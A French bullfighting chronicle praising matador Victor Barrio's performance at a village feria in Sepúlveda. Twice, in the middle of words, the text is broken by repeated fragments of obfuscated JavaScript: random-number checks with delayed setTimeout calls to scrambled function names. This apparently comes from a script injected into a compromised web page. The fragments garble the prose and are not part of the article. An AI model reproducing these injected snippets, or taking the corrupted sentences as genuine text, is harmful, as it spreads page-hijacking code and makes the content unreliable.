À SEPULVEDA AVEC VICTOR BARRIO

Après tant de férias importantes il est parfois bon de revenir aux origines. Aux férias des villages. Aux rues pavées. Aux bals populaires sous les portiques de maisons millénaires. Au véritable agneau rôti. Aux arènes portatives. Aux toreros vêtus d’or vieilli par le temps. C’est ainsi que le dernier dimanche d’août je fis un voyage  dans la Castille  profonde pour voir un novillero que j’avais découvert à Sepúlveda,  que j’avais oublié à Madrid quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il était devenu matador, et que j’ai redécouvert comme maestro, de nouveau à Sepúlveda.

Je fus ravi de le voir face à un lot très contrasté. À son premier, un taureau avisé, inquisiteur, mesureur, buté, et sans la moindre option , il pénétra avec tant d’autorité dans son territoire que le taureau prit peur, et au lieu de développer ses mauvaises idées, il finit par les abandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andonner. Se plaçant entre les deux cornes le torero lui présenta une demie, un quart de muleta, et réussit à le faire charger grâce à des naturelles courtes, pieds joints, effrayantes. Et son second, qui avait autant de bravoure que de faiblesse dans les pattes, il lui prit les mesures en même temps qu’il l’obligeait à poursuivre  une muleta basse, traînante, au cours de longues séries. Éblouissant. Magistral.

Réflexion : en ces temps de crise, avec si peu de festivals, il y a plusieurs matadors – pas beaucoup, car les bons toreros ne sont jamais nombreux –

restés dans l’ombre, ou assis chez eux, qui ,à ce qu’il paraît, s’entraînent et sont en pleine forme. Comme Victor Barrio, protagoniste de mes retrouvailles avec le toréo authentique dans la belle Villa de Sepúlveda.

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